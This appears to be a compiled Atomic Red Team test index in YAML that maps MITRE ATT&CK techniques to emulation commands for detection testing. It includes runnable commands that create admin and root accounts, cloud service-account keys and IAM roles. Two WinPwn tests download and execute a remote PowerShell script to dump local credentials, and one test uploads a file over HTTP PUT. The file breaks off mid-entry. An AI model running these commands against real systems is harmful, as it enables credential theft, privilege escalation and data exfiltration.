supported_platforms: - google-workspace - iaas:gcp input_arguments: project-id: description: ID of the project, you want to create service account as well as service account key for type: string default: art-project-1 service-account-name: description: Name of the service account type: string default: gcp-art-service-account-1 service-account-email: description: Email of the service account type: string default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com output-key-file: description: Email of the service account type: string default: gcp-art-service-account-1.json executor: name: sh elevation_required: false command: | gcloud config set project #{project-id} gcloud iam service-accounts create #{service-account-name} gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email} cleanup_command: 'gcloud iam service-accounts delete #{service-account-email} --quiet ' dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' - name: Azure Persistence Automation Runbook Created or Modified auto_generated_guid: 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac description: | Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment. supported_platforms: - iaas:azure input_arguments: username: description: Azure username type: string default: password: description: Azure password type: string default: resource_group: description: Name of the resource group type: string default: runbook_name: description: Name of the runbook name type: string default: automation_account_name: description: Name of the automation account name type: string default: dependency_executor_name: powershell dependencies: - description: 'Check if terraform is installed. ' prereq_command: 'terraform version ' get_prereq_command: 'echo Please install terraform. ' - description: 'Install-Module -Name Az ' prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name Az -Scope CurrentUser -Force ' - description: 'Check if the user is logged into Azure. ' prereq_command: 'az account show ' get_prereq_command: "echo Configure your Azure account using: az login. \n" - description: 'Create dependency resources using terraform ' prereq_command: 'try {if (Test-Path "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate" ){ exit 0 } else {exit 1}} catch {exit 1} ' get_prereq_command: | cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/" terraform init terraform apply -auto-approve executor: command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-AzAccount -Credential $creds New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name} name: powershell elevation_required: false cleanup_command: | Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/" terraform destroy -auto-approve - name: GCP - Create Custom IAM Role auto_generated_guid: 3a159042-69e6-4398-9a69-3308a4841c85 description: "This atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. \nCustom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized.\n\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n" supported_platforms: - iaas:gcp input_arguments: project-id: description: ID of the GCP Project you to execute the command against. type: string default: atomic-test-1 role-name: description: The name of the role to be created. type: string default: AtomicRedTeamRole role-description: description: The description of the role to be created. type: string default: Atomic Red Team Custom IAM Role roles: description: List of roles to be applied type: string default: iam.serviceAccounts.get executor: name: sh elevation_required: false command: | gcloud config set project #{project-id} gcloud iam roles create #{role-name} --description="#{role-description}" --permissions=#{roles} --project=#{project-id} cleanup_command: 'gcloud iam roles delete #{role-name} --project=#{project-id} ' dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' T1566.003: technique: modified: '2024-01-31T14:15:55.690Z' name: Spearphishing via Service description: "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: Lookout Dark Caracal Jan 2018) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_deprecated: false x_mitre_detection: "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '2.0' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317 created: '2020-03-02T19:24:00.951Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1566/003 external_id: T1566.003 - source_name: Lookout Dark Caracal Jan 2018 description: 'Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.' url: https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1078.003: technique: modified: '2023-07-14T13:04:04.591Z' name: 'Valid Accounts: Local Accounts' description: "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_deprecated: false x_mitre_detection: Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Containers - Network x_mitre_version: '1.4' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Logon Session: Logon Session Metadata' - 'User Account: User Account Authentication' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2 created: '2020-03-13T20:26:46.695Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/003 external_id: T1078.003 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1078.003 atomic_tests: - name: Create local account with admin privileges auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15 description: After execution the new account will be active and added to the Administrators group supported_platforms: - windows input_arguments: password: description: Password for art-test user type: string default: "-4RTisCool!-321" executor: command: |- net user art-test /add net user art-test #{password} net localgroup administrators art-test /add cleanup_command: |- net localgroup administrators art-test /delete >nul 2>&1 net user art-test /delete >nul 2>&1 name: command_prompt elevation_required: true - name: Create local account with admin privileges - MacOS auto_generated_guid: f1275566-1c26-4b66-83e3-7f9f7f964daa description: After execution the new account will be active and added to the Administrators group supported_platforms: - macos executor: command: |- dscl . -create /Users/AtomicUser dscl . -create /Users/AtomicUser UserShell /bin/bash dscl . -create /Users/AtomicUser RealName "Atomic User" dscl . -create /Users/AtomicUser UniqueID 503 dscl . -create /Users/AtomicUser PrimaryGroupID 503 dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser dscl . -passwd /Users/AtomicUser mySecretPassword dscl . -append /Groups/admin GroupMembership AtomicUser cleanup_command: sudo dscl . -delete /Users/AtomicUser name: bash elevation_required: true - name: Create local account with admin privileges using sysadminctl utility - MacOS auto_generated_guid: 191db57d-091a-47d5-99f3-97fde53de505 description: After execution the new account will be active and added to the Administrators group supported_platforms: - macos executor: command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin cleanup_command: sysadminctl interactive -deleteUser art-tester name: bash elevation_required: true - name: Enable root account using dsenableroot utility - MacOS auto_generated_guid: 20b40ea9-0e17-4155-b8e6-244911a678ac description: After execution the current/new user will have root access supported_platforms: - macos executor: command: |- dsenableroot #current user dsenableroot -u art-tester -p art-tester -r art-root #new user cleanup_command: |- dsenableroot -d #current user dsenableroot -d -u art-tester -p art-tester #new user name: bash elevation_required: true - name: Add a new/existing user to the admin group using dseditgroup utility - macOS auto_generated_guid: 433842ba-e796-4fd5-a14f-95d3a1970875 description: After execution the current/new user will be added to the Admin group supported_platforms: - macos executor: command: dseditgroup -o edit -a art-user -t user admin cleanup_command: dseditgroup -o edit -d art-user -t user admin name: bash elevation_required: true - name: WinPwn - Loot local Credentials - powerhell kittie auto_generated_guid: 9e9fd066-453d-442f-88c1-ad7911d32912 description: Loot local Credentials - powerhell kittie technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') obfuskittiedump -consoleoutput -noninteractive name: powershell elevation_required: true - name: WinPwn - Loot local Credentials - Safetykatz auto_generated_guid: e9fdb899-a980-4ba4-934b-486ad22e22f4 description: Loot local Credentials - Safetykatz technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') safedump -consoleoutput -noninteractive name: powershell elevation_required: true - name: Create local account (Linux) auto_generated_guid: 02a91c34-8a5b-4bed-87af-501103eb5357 description: 'An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user. ' supported_platforms: - linux executor: name: bash elevation_required: true command: | password=$(openssl passwd -1 art) ([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0)) su art -c "whoami; exit" cleanup_command: '[ "$(uname)" = ''Linux'' ] && userdel art -rf || rmuser -y art ' - name: Reactivate a locked/expired account (Linux) auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931 description: "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n" supported_platforms: - linux executor: name: bash elevation_required: true command: | useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art usermod --lock art usermod --expiredate "1" art usermod --unlock art usermod --expiredate "99999" art su art whoami exit cleanup_command: "userdel -r art \n" - name: Reactivate a locked/expired account (FreeBSD) auto_generated_guid: '09e3380a-fae5-4255-8b19-9950be0252cf' description: "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n" supported_platforms: - linux executor: name: sh elevation_required: true command: | pw useradd art -g wheel -s /bin/sh echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0 pw lock art pw usermod art -e +1d pw unlock art pw user mod art -e +99d su art whoami exit cleanup_command: "rmuser -y art \n" - name: Login as nobody (Linux) auto_generated_guid: 3d2cd093-ee05-41bd-a802-59ee5c301b85 description: 'An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody''s shell to /usr/sbin/nologin. ' supported_platforms: - linux executor: name: bash elevation_required: true command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody) nobody\nsu nobody\nwhoami\nexit\n" cleanup_command: "chsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n" - name: Login as nobody (freebsd) auto_generated_guid: 16f6374f-7600-459a-9b16-6a88fd96d310 description: 'An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody''s shell to /usr/sbin/nologin. ' supported_platforms: - linux executor: name: sh elevation_required: true command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n" cleanup_command: | pw usermod nobody -s /usr/sbin/nologin cat /etc/passwd |grep nobody # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin - name: Use PsExec to elevate to NT Authority\SYSTEM account auto_generated_guid: 6904235f-0f55-4039-8aed-41c300ff7733 description: "PsExec is a powerful tool most known for its remote management capability. However, it can also be used to run processes as the local system account.\n\nThe local system account is a default windows account which has unrestricted access to all system resources.\n\nUpon successful execution, PsExec.exe will spawn a command prompt which will run 'whoami' as the local system account and then exit. \n" supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads directory ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0 } else { exit 1 } ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force executor: name: command_prompt elevation_required: true command: '"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula -s %COMSPEC% /c whoami ' exfiltration: T1567: technique: modified: '2023-09-05T15:00:36.471Z' name: Exfiltration Over Web Service description: |- Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_contributors: - William Cain x_mitre_deprecated: false x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Office 365 - SaaS - Google Workspace x_mitre_version: '1.3' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' - 'Command: Command Execution' - 'Network Traffic: Network Traffic Flow' - 'File: File Access' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807 created: '2020-03-09T12:51:45.570Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1567 external_id: T1567 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1567.004: technique: modified: '2023-10-12T05:22:59.079Z' name: Exfiltration Over Webhook description: "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_contributors: - Yossi Weizman, Microsoft Threat Intelligence - Sunders Bruskin, Microsoft Threat Intelligence x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - macOS - Linux - SaaS - Office 365 - Google Workspace x_mitre_version: '1.0' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Command: Command Execution' - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'File: File Access' type: attack-pattern id: attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d created: '2023-07-20T15:30:55.763Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1567/004 external_id: T1567.004 - source_name: Checkmarx Webhooks description: " Jossef Harush Kadouri. (2022, March 7). Webhook Party — Malicious packages caught exfiltrating data via legit webhook services. Retrieved July 20, 2023." url: https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191 - source_name: CyberArk Labs Discord description: CyberArk Labs. (2023, April 13). The (Not so) Secret War on Discord. Retrieved July 20, 2023. url: https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord - source_name: Discord Intro to Webhooks description: D. (n.d.). Intro to Webhooks. Retrieved July 20, 2023. url: https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks - source_name: Microsoft SQL Server description: 'Microsoft Threat Intelligence. (2023, October 3). Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement. Retrieved October 3, 2023.' url: https://www.microsoft.com/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/ - source_name: Talos Discord Webhook Abuse description: Nick Biasini, Edmund Brumaghin, Chris Neal, and Paul Eubanks. (2021, April 7). https://blog.talosintelligence.com/collab-app-abuse/. Retrieved July 20, 2023. url: https://blog.talosintelligence.com/collab-app-abuse/ - source_name: Push Security SaaS Attacks Repository Webhooks description: Push Security. (2023, July 31). Webhooks. Retrieved August 4, 2023. url: https://github.com/pushsecurity/saas-attacks/blob/main/techniques/webhooks/description.md - source_name: RedHat Webhooks description: RedHat. (2022, June 1). What is a webhook?. Retrieved July 20, 2023. url: https://www.redhat.com/en/topics/automation/what-is-a-webhook object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1029: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466 type: attack-pattern created: '2017-05-31T21:30:34.139Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1029 external_id: T1029 modified: '2021-04-29T14:49:39.188Z' name: Scheduled Transfer description: |- Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_detection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious. x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Connection Creation' x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1011: technique: modified: '2023-09-11T16:06:10.376Z' name: Exfiltration Over Other Network Medium description: |- Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_contributors: - Itzik Kotler, SafeBreach x_mitre_deprecated: false x_mitre_detection: |- Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Content' - 'File: File Access' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87 created: '2017-05-31T21:30:25.159Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1011 external_id: T1011 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1011.001: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd type: attack-pattern created: '2020-03-09T17:07:57.392Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1011.001 url: https://attack.mitre.org/techniques/T1011/001 modified: '2022-05-11T14:00:00.188Z' name: Exfiltration Over Bluetooth description: |- Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel. Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_detection: |- Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Command: Command Execution' - 'File: File Access' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1020: technique: modified: '2024-01-24T00:04:01.066Z' name: Automated Exfiltration description: "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020) \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_contributors: - ExtraHop x_mitre_deprecated: false x_mitre_detection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Network Traffic: Network Traffic Flow' - 'File: File Access' - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Content' - 'Script: Script Execution' type: attack-pattern id: attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9 created: '2017-05-31T21:30:29.458Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1020 external_id: T1020 - source_name: ESET Gamaredon June 2020 description: Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020. url: https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1020 atomic_tests: - name: IcedID Botnet HTTP PUT auto_generated_guid: 9c780d3d-3a14-4278-8ee5-faaeb2ccfbe0 description: |- Creates a text file Tries to upload to a server via HTTP PUT method with ContentType Header Deletes a created file supported_platforms: - windows input_arguments: file: description: Exfiltration File type: string default: C:\temp\T1020_exfilFile.txt domain: description: Destination Domain type: url default: https://google.com executor: command: |- $fileName = "#{file}" $url = "#{domain}" $file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test" $contentType = "application/octet-stream" try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{} cleanup_command: |- $fileName = "#{file}" Remove-Item -Path $fileName -ErrorAction Ignore name: powershell - name: Exfiltration via Encrypted FTP auto_generated_guid: 5b380e96-b0ef-4072-8a8e-f194cb9eb9ac description: Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only. supported_platforms: - windows input_arguments: sampleFile: description: Path of the sample file to exfiltrate. type: String default: 